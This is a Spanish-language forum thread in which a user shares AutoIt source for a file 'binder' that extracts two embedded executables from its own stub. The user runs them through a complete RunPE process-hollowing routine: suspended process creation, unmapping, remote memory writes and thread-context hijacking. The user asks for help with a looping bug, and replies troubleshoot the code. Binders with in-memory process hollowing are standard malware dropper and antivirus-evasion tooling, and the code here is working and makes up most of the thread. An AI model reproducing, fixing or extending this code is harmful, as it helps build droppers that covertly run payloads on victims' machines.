• Otros lenguajes de Scripting

 #421574  por Naker90
 15 Ago 2013, 23:28
Bueno aqui estoy otra vez con otro problema que no consigo solucionar. Estoy creando un simple binder que ejecute simultaneamente dos archivos, cuando los ejecuto escribiendolos en el disco de esta manera me funciona perfectamente:
Código: Seleccionar todo
#NoTrayIcon

$Stub = FileOpen(@ScriptFullPath, 0)
$S = FileRead($Stub)
FileClose($Stub)

$Vector = StringSplit($S, "[SimpleBinder]", 1)

$Archivo1 = @DesktopDir & '\Archivo1.exe'
$Archivo2 = @DesktopDir & '\Archivo2.exe'

;[1] Stub
;[2] Archivo 1
;[3] Archivo 2

FileWrite($Archivo1, $Vector[2])
FileWrite($Archivo2, $Vector[3])

ShellExecute($Archivo1)
ShellExecute($Archivo2)
Pero cuando los ejecuto con un Runpe me entra el primer archivo en un bucle infinito (se ejecuta sin parar) he intentado cambiar la llamada pero de esta forma es la unica manera que me ejecuta algo, También he revisado que no me haya dejado nada abierto que me este provocando el bucle.
Código: Seleccionar todo
#NoTrayIcon

$Stub = FileOpen(@ScriptFullPath, 0)
$S = FileRead($Stub)
FileClose($Stub)

$Vector = StringSplit($S, "[SimpleBinder]", 1)

;[1] Stub
;[2] Archivo 1
;[3] Archivo 2

_RunPE ($Vector[2])
_RunPe ($Vector[3])


Func _RunPE($BBINARYIMAGE)  ; Função RunPEFunc RunPe($BBINARYIMAGE)
	#region 1. PREPROCESSING PASSED ; buscar tradução no google tradutor
	Local $BBINARY = Binary($BBINARYIMAGE)
	Local $TBINARY = DllStructCreate("byte[" & BinaryLen($BBINARY) & "]")
	DllStructSetData($TBINARY, 1, $BBINARY)
	Local $PPOINTER = DllStructGetPtr($TBINARY)

	#region 2. CREATING NEW PROCESS ; buscar tradução no google tradutor
	Local $TSTARTUPINFO = DllStructCreate("dword  cbSize;" & "ptr Reserved;" & "ptr Desktop;" & "ptr Title;" & "dword X;" & "dword Y;" & "dword XSize;" & "dword YSize;" & "dword XCountChars;" & "dword YCountChars;" & "dword FillAttribute;" & "dword Flags;" & "ushort ShowWindow;" & "ushort Reserved2;" & "ptr Reserved2;" & "ptr hStdInput;" & "ptr hStdOutput;" & "ptr hStdError")
	Local $TPROCESS_INFORMATION = DllStructCreate("ptr Process;" & "ptr Thread;" & "dword ProcessId;" & "dword ThreadId")
	Local $ACALL = DllCall("kernel32.dll", "int", "CreateProcessW", "wstr", @AutoItExe, "ptr", 0, "ptr", 0, "ptr", 0, "int", 0, "dword", 4, "ptr", 0, "ptr", 0, "ptr", DllStructGetPtr($TSTARTUPINFO), "ptr", DllStructGetPtr($TPROCESS_INFORMATION))
	If @error Or Not $ACALL[0] Then
		Return SetError(1, 0, 0)
	EndIf
	Local $HPROCESS = DllStructGetData($TPROCESS_INFORMATION, "Process")
	Local $HTHREAD = DllStructGetData($TPROCESS_INFORMATION, "Thread")

	#region 3. FILL CONTEXT STRUCTURE ; buscar tradução no google tradutor
	Local $TCONTEXT = DllStructCreate("dword ContextFlags;" & "dword Dr0;" & "dword Dr1;" & "dword Dr2;" & "dword Dr3;" & "dword Dr6;" & "dword Dr7;" & "dword ControlWord;" & "dword StatusWord;" & "dword TagWord;" & "dword ErrorOffset;" & "dword ErrorSelector;" & "dword DataOffset;" & "dword DataSelector;" & "byte RegisterArea[80];" & "dword Cr0NpxState;" & "dword SegGs;" & "dword SegFs;" & "dword SegEs;" & "dword SegDs;" & "dword Edi;" & "dword Esi;" & "dword Ebx;" & "dword Edx;" & "dword Ecx;" & "dword Eax;" & "dword Ebp;" & "dword Eip;" & "dword SegCs;" & "dword EFlags;" & "dword Esp;" & "dword SegS")
	DllStructSetData($TCONTEXT, "ContextFlags", 65538)
	$ACALL = DllCall( "kernel32.dll", "int", "GetThreadContext", "ptr", $HTHREAD, "ptr", DllStructGetPtr($TCONTEXT))
	If @error Or Not $ACALL[0] Then
		DllCall("kernel32.dll", "int", "TerminateProcess", "ptr", $HPROCESS, "dword", 0)
		Return SetError(2, 0, 0)
	EndIf
	#region 4. READ PE-FORMAT ; buscar tradução no google tradutor
	Local $TIMAGE_DOS_HEADER = DllStructCreate("char Magic[2];" & "ushort BytesOnLastPage;" & "ushort Pages;" & "ushort Relocations;" & "ushort SizeofHeader;" & "ushort MinimumExtra;" & "ushort MaximumExtra;" & "ushort SS;" & "ushort SP;" & "ushort Checksum;" & "ushort IP;" & "ushort CS;" & "ushort Relocation;" & "ushort Overlay;" & "char Reserved[8];" & "ushort OEMIdentifier;" & "ushort OEMInformation;" & "char Reserved2[20];" & "dword AddressOfNewExeHeader", $PPOINTER)
	$PPOINTER += DllStructGetData($TIMAGE_DOS_HEADER, "AddressOfNewExeHeader")
	Local $SMAGIC = DllStructGetData($TIMAGE_DOS_HEADER, "Magic")
	If Not ($SMAGIC == "MZ") Then
		DllCall("kernel32.dll", "int", "TerminateProcess", "ptr", $HPROCESS, "dword", 0)
		Return SetError(3, 0, 0)
	EndIf
	Local $TIMAGE_NT_SIGNATURE = DllStructCreate("dword Signature", $PPOINTER)
	$PPOINTER += 4
	If DllStructGetData($TIMAGE_NT_SIGNATURE, "Signature") <> 17744 Then
		DllCall("kernel32.dll", "int", "TerminateProcess", "ptr", $HPROCESS, "dword", 0)
		Return SetError(4, 0, 0)
	EndIf
	Local $TIMAGE_FILE_HEADER = DllStructCreate("ushort Machine;" & "ushort NumberOfSections;" & "dword TimeDateStamp;" & "dword PointerToSymbolTable;" & "dword NumberOfSymbols;" & "ushort SizeOfOptionalHeader;" & "ushort Characteristics", $PPOINTER)
	Local $INUMBEROFSECTIONS = DllStructGetData($TIMAGE_FILE_HEADER, "NumberOfSections")
	$PPOINTER += 20
	Local $TIMAGE_OPTIONAL_HEADER = DllStructCreate("ushort Magic;" & "ubyte MajorLinkerVersion;" & "ubyte MinorLinkerVersion;" & "dword SizeOfCode;" & "dword SizeOfInitializedData;" & "dword SizeOfUninitializedData;" & "dword AddressOfEntryPoint;" & "dword BaseOfCode;" & "dword BaseOfData;" & "dword ImageBase;" & "dword SectionAlignment;" & "dword FileAlignment;" & "ushort MajorOperatingSystemVersion;" & "ushort MinorOperatingSystemVersion;" & "ushort MajorImageVersion;" & "ushort MinorImageVersion;" & "ushort MajorSubsystemVersion;" & "ushort MinorSubsystemVersion;" & "dword Win32VersionValue;" & "dword SizeOfImage;" & "dword SizeOfHeaders;" & "dword CheckSum;" & "ushort Subsystem;" & "ushort DllCharacteristics;" & "dword SizeOfStackReserve;" & "dword SizeOfStackCommit;" & "dword SizeOfHeapReserve;" & "dword SizeOfHeapCommit;" & "dword LoaderFlags;" & "dword NumberOfRvaAndSizes", $PPOINTER)
	$PPOINTER += 96
	Local $IMAGIC = DllStructGetData($TIMAGE_OPTIONAL_HEADER, "Magic")
	If $IMAGIC <> 267 Then
		DllCall("kernel32.dll", "int", "TerminateProcess", "ptr", $HPROCESS, "dword", 0)
		Return SetError(5, 0, 0)
	EndIf
	Local $IENTRYPOINTNEW = DllStructGetData($TIMAGE_OPTIONAL_HEADER, "AddressOfEntryPoint")
	$PPOINTER += 128
	Local $POPTIONALHEADERIMAGEBASENEW = DllStructGetData($TIMAGE_OPTIONAL_HEADER, "ImageBase")
	Local $IOPTIONALHEADERSIZEOFIMAGENEW = DllStructGetData($TIMAGE_OPTIONAL_HEADER, "SizeOfImage")

	#region 5. CLEAR EVERYTHING THAT THIS NEW PROCESS HAVE MAPPED ; buscar tradução no google tradutor
	$ACALL = DllCall("ntdll.dll", "int", "NtUnmapViewOfSection", "ptr", $HPROCESS, "ptr", $POPTIONALHEADERIMAGEBASENEW)
	If @error Or $ACALL[0] Then
		DllCall("kernel32.dll", "int", "TerminateProcess", "ptr", $HPROCESS, "dword", 0)
		Return SetError(6, 0, 0)
	 EndIf

	#region 6. ALLOCATE 'NEW' MEMORY SPACE ; buscar tradução no google tradutor
	$ACALL = DllCall("kernel32.dll", "ptr", "VirtualAllocEx", "ptr", $HPROCESS, "ptr", $POPTIONALHEADERIMAGEBASENEW, "dword", $IOPTIONALHEADERSIZEOFIMAGENEW, "dword", 12288, "dword", 64)
	If @error Or Not $ACALL[0] Then
		DllCall("kernel32.dll", "int", "TerminateProcess", "ptr", $HPROCESS, "dword", 0)
		Return SetError(7, 0, 0)
	EndIf
	Local $PREMOTECODE = $ACALL[0]

	#region 7. GET AND WRITE NEW PE-HEADERS ; buscar tradução no google tradutor
	Local $PHEADERS_NEW = DllStructGetPtr($TIMAGE_DOS_HEADER)
	Local $IOPTIONALHEADERSIZEOFHEADERSNEW = DllStructGetData($TIMAGE_OPTIONAL_HEADER, "SizeOfHeaders")
	$ACALL = DllCall("kernel32.dll", "int", "WriteProcessMemory", "ptr", $HPROCESS, "ptr", $PREMOTECODE, "ptr", $PHEADERS_NEW, "dword", $IOPTIONALHEADERSIZEOFHEADERSNEW, "dword*", 0)
	If @error Or Not $ACALL[0] Then
		DllCall("kernel32.dll", "int", "TerminateProcess", "ptr", $HPROCESS, "dword", 0)
		Return SetError(8, 0, 0)
	 EndIf

	#region 8. WRITE SECTIONS ; buscar tradução no google tradutor
	Local $TIMAGE_SECTION_HEADER
	Local $ISIZEOFRAWDATA, $PPOINTERTORAWDATA
	Local $IVIRTUALADDRESS
	For $I = 1 To $INUMBEROFSECTIONS
		$TIMAGE_SECTION_HEADER = DllStructCreate("char Name[8];" & "dword UnionOfVirtualSizeAndPhysicalAddress;" & "dword VirtualAddress;" & "dword SizeOfRawData;" & "dword PointerToRawData;" & "dword PointerToRelocations;" & "dword PointerToLinenumbers;" & "ushort NumberOfRelocations;" & "ushort NumberOfLinenumbers;" & "dword Characteristics", $PPOINTER)
		$ISIZEOFRAWDATA = DllStructGetData($TIMAGE_SECTION_HEADER, "SizeOfRawData")
		$PPOINTERTORAWDATA = DllStructGetPtr($TIMAGE_DOS_HEADER) + DllStructGetData($TIMAGE_SECTION_HEADER, "PointerToRawData")
		$IVIRTUALADDRESS = DllStructGetData($TIMAGE_SECTION_HEADER, "VirtualAddress")
		If $ISIZEOFRAWDATA Then
			$ACALL = DllCall("kernel32.dll", "int", "WriteProcessMemory", "ptr", $HPROCESS, "ptr", $PREMOTECODE + $IVIRTUALADDRESS, "ptr", $PPOINTERTORAWDATA, "dword", $ISIZEOFRAWDATA, "dword*", 0)
			If @error Or Not $ACALL[0] Then
				DllCall("kernel32.dll", "int", "TerminateProcess", "ptr", $HPROCESS, "dword", 0)
				Return SetError(9, $I, 0)
			EndIf
		EndIf
		$PPOINTER += 40
	 Next

	#region 9. NEW ENTRY POINT ; buscar tradução no google tradutor
	DllStructSetData($TCONTEXT, "Eax", $PREMOTECODE + $IENTRYPOINTNEW)

	#region 10. SET NEW CONTEXT; buscar tradução no google tradutor
	$ACALL = DllCall("kernel32.dll", "int", "SetThreadContext", "ptr", $HTHREAD, "ptr", DllStructGetPtr($TCONTEXT))
	If @error Or Not $ACALL[0] Then
		DllCall("kernel32.dll", "int", "TerminateProcess", "ptr", $HPROCESS, "dword", 0)
		Return SetError(10, 0, 0)
	 EndIf

	#region 11. RESUME THREAD ; buscar tradução no google tradutor
	$ACALL = DllCall("kernel32.dll", "int", "ResumeThread", "ptr", $HTHREAD)
	If @error Or $ACALL[0] = -1 Then
		DllCall("kernel32.dll", "int", "TerminateProcess", "ptr", $HPROCESS, "dword", 0)
		Return SetError(11, 0, 0)
	 EndIf

	#region 12. RETURN SUCCESS ; buscar tradução no google tradutor
	Return DllStructGetData($TPROCESS_INFORMATION, "ProcessId")
EndFunc
Este es el Cliente:
Saludos
 #421594  por M3
 16 Ago 2013, 02:59
he probado e ejecuta normalmente los 2 archivos , no ay parametros en tu code que hace crear un bucle compadre
 #421749  por Naker90
 17 Ago 2013, 17:14
Creo que el problema es mio, me he descargado unos source de internet para estudiarlos y a la hora de compilarlos no funcinan. he intentado compilarlos x64 y x86 y cuando compilo x64 no me funciona y eso que mi SO es W7 x64, y por x86 si funciona pero los archivos finales son no funcionales.
Intentare buscar una solucion.
Muchas gracias M3.
Saludos